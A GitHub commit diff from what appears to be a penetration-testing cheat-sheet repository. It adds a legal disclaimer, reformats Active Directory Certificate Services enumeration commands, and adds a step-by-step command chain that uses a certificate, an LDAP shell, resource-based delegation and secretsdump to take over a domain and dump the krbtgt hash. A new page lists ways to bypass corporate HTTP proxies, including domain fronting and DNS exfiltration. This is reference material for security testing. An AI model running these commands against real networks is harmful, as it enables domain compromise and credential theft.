-
-
Notifications
You must be signed in to change notification settings - Fork 208
Commit
- Loading branch information
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,11 @@ | ||
# DISCLAIMER | ||
|
||
The authors and contributors of this repository disclaim any and all responsibility for the misuse of the information, tools, or techniques described herein. The content is provided solely for educational and research purposes. Users are strictly advised to utilize this information in accordance with applicable laws and regulations and only on systems for which they have explicit authorization. | ||
|
||
By accessing and using this repository, you agree to: | ||
|
||
* Refrain from using the provided information for any unethical or illegal activities. | ||
* Ensure that all testing and experimentation are conducted responsibly and with proper authorization. | ||
* Acknowledge that any actions you take based on the contents of this repository are solely your responsibility. | ||
|
||
Neither the authors nor contributors shall be held liable for any damages, direct or indirect, resulting from the misuse or unauthorized application of the knowledge contained herein. Always act mindfully, ethically, and within the boundaries of the law. |
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -4,9 +4,21 @@ Active Directory Certificate Services (AD CS) is a Microsoft Windows server role | |
|
||
## ADCS Enumeration | ||
|
||
* netexec: `netexec ldap domain.lab -u username -p password -M adcs` | ||
* ldapsearch: `ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName` | ||
* certutil: `certutil.exe -config - -ping`, `certutil -dump` | ||
* netexec: | ||
Check failure on line 7 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintTrailing spaces
|
||
```ps1 | ||
Check failure on line 8 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintFenced code blocks should be surrounded by blank lines
|
||
netexec ldap domain.lab -u username -p password -M adcs | ||
``` | ||
* ldapsearch: | ||
Check failure on line 12 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintTrailing spaces
|
||
```ps1 | ||
Check failure on line 13 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintFenced code blocks should be surrounded by blank lines
|
||
ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName | ||
``` | ||
* certutil: | ||
Check failure on line 17 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintTrailing spaces
|
||
```ps1 | ||
Check failure on line 18 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintFenced code blocks should be surrounded by blank lines
|
||
certutil.exe -config - -ping | ||
certutil -dump | ||
``` | ||
## Certificate Enrollment | ||
|
@@ -232,11 +244,11 @@ Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp | |
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php | ||
``` | ||
|
||
## ESC8 - AD CS Relay Attack | ||
## ESC8 - Web Enrollment Relay | ||
|
||
> An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket. | ||
Require [Impacket PR #1101](https://github.com/SecureAuthCorp/impacket/pull/1101) | ||
Require [SecureAuthCorp/impacket](https://github.com/SecureAuthCorp/impacket/pull/1101) PR #1101 | ||
|
||
* **Version 1**: NTLM Relay + Rubeus + PetitPotam | ||
|
||
|
@@ -585,6 +597,46 @@ certipy auth -pfx administrator.pfx -dc-ip 10.10.10.10 | |
certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx" | ||
``` | ||
|
||
|
||
Check failure on line 600 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintMultiple consecutive blank lines
|
||
### PKINIT ERROR | ||
|
||
When the DC does not support **PKINIT** (the pre-authentication allowing to retrieve either TGT or NT Hash using certificate). You will get an error like the following in the tool's output. | ||
|
||
```ps1 | ||
$ certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' | ||
[...] | ||
KDC_ERROR_CLIENT_NOT_TRUSTED (Reserved for PKINIT) | ||
``` | ||
|
||
There is still a way to use the certificate to takeover the account. | ||
|
||
* Open an LDAP shell using the certificate | ||
```ps1 | ||
Check failure on line 614 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintFenced code blocks should be surrounded by blank lines
|
||
certipy auth -pfx target.pfx -debug -username username -domain domain.local -dns-tcp -dc-ip 10.10.10.10 -ldap-shell | ||
``` | ||
* Add a computer for RBCD | ||
```ps1 | ||
Check failure on line 619 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintFenced code blocks should be surrounded by blank lines
|
||
impacket-addcomputer -dc-ip 10.10.10.10 DOMAIN.LOCAL/User:P@ssw0rd -computer-name "NEWCOMPUTER" -computer-pass "P@ssw0rd123*" | ||
``` | ||
* Set the RBCD | ||
```ps1 | ||
Check failure on line 624 in docs/active-directory/ad-adcs-certificate-services.md GitHub Actions / lintFenced code blocks should be surrounded by blank lines
|
||
set_rbcd 'TARGET$' 'NEWCOMPUTER$' | ||
``` | ||
* Request a ticket with impersonation | ||
```ps1 | ||
impacket-getST -spn 'cifs/target.domain.local' -impersonate 'target$' -dc-ip 10.10.10.10 'DOMAIN.LOCAL/NEWCOMPUTER$:P@ssw0rd123*' | ||
``` | ||
* Use the ticket | ||
```ps1 | ||
export KRB5CCNAME=DC$.ccache | ||
impacket-secretsdump.py 'target$'@target.domain.local -k -no-pass -dc-ip 10.10.10.10 -just-dc-user 'krbtgt' | ||
``` | ||
## UnPAC The Hash | ||
Using the **UnPAC The Hash** method, you can retrieve the NT Hash for an User via its certificate. | ||
|
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,105 @@ | ||
# Proxy Bypass | ||
|
||
> An HTTP proxy server acts as an intermediary between a client (like a web browser) and a web server. It processes client requests for web resources, fetches them from the destination server, and returns them to the client. | ||
## Summary | ||
|
||
* [Methodology](#methodology) | ||
* [Discover Proxy Configuration](#discover-proxy-configuration) | ||
* [PAC Proxy](#pac-proxy) | ||
* [Common Bypass](#common-bypass) | ||
* [References](#references) | ||
|
||
## Methodology | ||
|
||
### Discover Proxy Configuration | ||
|
||
* Windows, in the registry key `DefaultConnectionSettings` | ||
|
||
```ps1 | ||
Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections\DefaultConnectionSettings | ||
Software\Microsoft\Windows\CurrentVersion\Internet Settings\ProxyServer | ||
``` | ||
* Windows: | ||
```ps1 | ||
netsh winhttp show proxy | ||
``` | ||
* Linux, in the environment variables `http_proxy` and `https_proxy` | ||
```ps1 | ||
env | ||
cat /etc/profile.d/proxy.conf | ||
``` | ||
### PAC Proxy | ||
PAC (Proxy Auto-Configuration) is a method to automatically determine whether web traffic should go through a proxy server. It uses a .pac file that contains a JavaScript function called `FindProxyForURL(url, host)`. | ||
* proxy.pac | ||
* wpad.dat | ||
**Example**: | ||
```ps1 | ||
function FindProxyForURL(url, host) { | ||
if (dnsDomainIs(host, '.example.com')) { | ||
return 'DIRECT'; | ||
} | ||
return 'PROXY proxy.example.com:8080'; | ||
} | ||
``` | ||
|
||
**Tools**: | ||
|
||
* [PortSwigger - Proxy Auto Config](https://portswigger.net/bappstore/7b3eae07aa724196ab85a8b64cd095d1) - This extension automatically configures Burp upstream proxies to match desktop proxy settings. This includes support for Proxy Auto-Config (PAC) scripts. | ||
|
||
### Common Bypass | ||
|
||
* Try several way to reach the Internet | ||
* IP address | ||
* Domain categorized in Health/Finance | ||
|
||
* Use another proxy reachable in the same environment | ||
|
||
* Weak regular expression for URL can be abused to bypass the proxy configuration | ||
|
||
```ps1 | ||
user:pass@domain/endpoint?parameter#hash | ||
e.g: microsoft.com:[email protected]/microsoft.com?microsoft.com#microsoft.com | ||
``` | ||
* Trusted Websites: [Living Off Trusted Sites (LOTS) Project](https://lots-project.com/) | ||
* Amazon Cloud: AWS endpoints | ||
* Microsoft Cloud: Azure endpoints | ||
* Google Cloud: GCP endpoints | ||
* live.sysinternals.com | ||
* User-Agents | ||
* Tools related User-Agent: curl, python, powershell | ||
```ps1 | ||
User-Agent: curl/8.11.0 | ||
User-Agent: python-requests/2.32.3 | ||
User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; fr-FR) WindowsPowerShell/5.1.26100.2161 | ||
``` | ||
* Platform related User-Agent: Android/iOS/Tablet | ||
```ps1 | ||
Mozilla/5.0 (Linux; Android 14; Pixel 9 Build/AD1A.240905.004; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/129.0.6668.78 Mobile Safari/537.36 [FB_IAB/FB4A;FBAV/484.0.0.63.83;IABMV/1;] | ||
Mozilla/5.0 (iPhone; CPU iPhone OS 18_0_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 [FBAN/FBIOS;FBAV/485.1.0.45.110;FBBV/665337277;FBDV/iPhone17,1;FBMD/iPhone;FBSN/iOS;FBSV/18.0.1;FBSS/3;FBCR/;FBID/phone;FBLC/it_IT;FBOP/80] | ||
``` | ||
* Domain Fronting | ||
* Protocols | ||
* TCP | ||
* Websocket (HTTP) | ||
* DNS Exfiltration | ||
## References | ||
* [Proxy managed by enterprise? No problem! Abusing PAC and the registry to get burpin’ - Thomas Grimée - August 17, 2021](https://blog.nviso.eu/2021/08/17/proxy-managed-by-enterprise-no-problem-abusing-pac-and-the-registry-to-get-burpin/) | ||
* [Proxy: Internal Proxy - MITRE ATT&CK - March 14, 2020](https://attack.mitre.org/versions/v16/techniques/T1090/001/) |